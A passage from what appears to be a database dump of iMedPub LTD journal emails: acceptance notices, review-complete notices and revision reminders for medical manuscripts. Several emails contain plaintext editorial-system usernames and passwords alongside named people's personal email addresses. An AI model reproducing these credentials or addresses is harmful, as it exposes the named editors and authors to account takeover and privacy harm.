border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3598</b><br />\r\n            <br />\r\n            Article Title: <b>MAGNETIC RESONANCE IMAGING LOCALIZATION OF THE VERTEBRAL LEVEL OF TERMINATION OF THE SPINAL CORD IN ADULTS IN PORT HARCOURT, RIVERS STATE, NIGERIA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ogolodom Michael Promise</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3598</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',3598,'2020-04-01',85),(1019,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3154</b><br />\r\n            <br />\r\n            Article Title: <b>Long-term follow-up of relapsing-remitting multiple sclerosis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolak</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rolak.loren@marshfieldclinic.org',3154,'2020-04-02',75),(1020,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3154</b><br />\r\n            <br />\r\n            Article Title: <b>Long-term follow-up of relapsing-remitting multiple sclerosis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolak</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rolak.loren@marshfieldclinic.org',3154,'2020-04-02',75),(1022,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3598</b><br />\r\n            <br />\r\n            Article Title: <b>MAGNETIC RESONANCE IMAGING LOCALIZATION OF THE VERTEBRAL LEVEL OF TERMINATION OF THE SPINAL CORD IN ADULTS IN PORT HARCOURT, RIVERS STATE, NIGERIA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Michael Promise</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mpos2007@yahoo.com',3598,'2020-04-02',85),(1023,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3584</b><br />\r\n            <br />\r\n            Article Title: <b>Effects of EEG signal to Parkinson disease through deep recurrent neural network</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Saeid Gholami Farkoush</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3584</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',3584,'2020-04-02',85),(1024,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3513</b><br />\r\n            <br />\r\n            Article Title: <b>Biochemical health profile of individuals working in a printing press in KP, Pakistan</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Afaq Saima</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3513</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',3513,'2020-04-02',85),(1026,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3635</b><br />\r\n            <br />\r\n            Article Title: <b>CXCR4 is a valuable poor prognostic marker for CLL: Its higher level of expression is associated with inferior response to therapy, lower disease-free survival.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mostafa El Razzaz</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Arda </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3635</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> isik<br />\r\n            <b>Password:</b> 1GqmD6Ny<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kararda@yahoo.com',3635,'2020-04-03',85),(1029,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-555</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluating the impact of the National Adolescent Health Strategic Plan on Adolescent Sexual Reproductive Health Services in Zambia: A qualitative study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsprj.com/\" target=\"_blank\">Health Systems and Policy Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chisashi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Systems and Policy Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mercy.zimba@gmail.com',555,'2020-04-03',84),(1034,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3584</b><br />\r\n            <br />\r\n            Article Title: <b>Effects of EEG signal to Parkinson disease through deep recurrent neural network</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gholami Farkoush</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-20-3584</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>saeid</b><br />\r\n            Password : <b>uDsxSjud</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','saeidgholamifarkoush@gmail.com',3584,'2020-04-07',85),(1036,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-3484</b><br />\r\n            <br />\r\n            Article Title: <b>A Pilot Study to identify hematological markers in the failure of arterio-venous fistulas for hemodialysis in end stage renal disease</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Engin</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>IPJUS-20-3484</b> for the <b>Journal of Universal Surgery</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','omerengin@hotmail.com',3484,'2020-04-07',319),(1037,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-3505</b><br />\r\n            <br />\r\n            Article Title: <b>Recurrent small bowel obstruction in a virgin abdomen: A rare sight and review of current practices</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            <strong>Dear Dr. Juliana,</strong><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted and published in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is online now. You can find in our Journal home page.<br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\"><a href=\"https://www.jusurgery.com/inpress.php\">https://www.jusurgery.com/inpress.php</a></div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jylmai@gmail.com',3505,'2020-04-07',319),(1038,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-3504</b><br />\r\n            <br />\r\n            Article Title: <b>Mesenteric Meckel&rsquo;s diverticulitis perforation with pneumoperitoneum and faeculant peritonitis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            <strong>Dear Dr. Juliana,</strong><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted and published online in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is online now. You can find it in our Journal home page.<br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\"><a href=\"https://www.jusurgery.com/current-issue.php\">https://www.jusurgery.com/current-issue.php</a></div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jylmai@gmail.com',3504,'2020-04-07',319),(1039,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\">\r\n            <p><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-3484</b><br />\r\n            <br />\r\n            Article Title: <b>A Pilot Study to identify hematological markers in the failure of arterio-venous fistulas for hemodialysis in end stage renal disease</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            <strong>Dear Dr. Yashvant&nbsp;Singh Rathore</strong><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-02.</b></p>\r\n            <p>Soon you will receive the galley proof PDF.</p>\r\n            <p>Thank you for choosing our journal.</p>\r\n            <p>Hope to get a same response from you in future too.</p>\r\n            <p>With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></p>\r\n            </td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dryashvant.r@gmail.com',3484,'2020-04-07',319),(1051,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3652</b><br />\r\n            <br />\r\n            Article Title: <b>Dental unit water line disinfection &ndash; have we got the solution</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kinsha988@gmail.com',3652,'2020-04-11',48),(1053,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3626</b><br />\r\n            <br />\r\n            Article Title: <b>Quality of life for hospitalized patients: the impact of disease perception</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Zarishnyak</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wengerenko@mail.ru',3626,'2020-04-11',48),(1054,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3562</b><br />\r\n            <br />\r\n            Article Title: <b>  Nurses&rsquo; Perspectives on Causes and Barriers to Reporting Medication Administration Errors in Saudi Arabia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Alamrani </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','finsh4@hotmail.com',3562,'2020-04-11',48),(1055,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3687</b><br />\r\n            <br />\r\n            Article Title: <b>Synopsis on Novel Coronavirus Disease (COVID-19)</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rajput</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jamatsingh50@gmail.com',3687,'2020-04-12',48),(1058,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3753</b><br />\r\n            <br />\r\n            Article Title: <b>Proper Hospital Waste Management for the Protection of Human Health and Environment: A Review</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Sadia Hassan Sherani</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            The review for the manuscript <b>iphspr-20-3753</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','archana.sarkar5@gmail.com',3753,'2020-04-14',84),(1063,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3713</b><br />\r\n            <br />\r\n            Article Title: <b>A case report on metformin and insulin induced hypoglycemia</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mahesh pavan Kontheti</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br 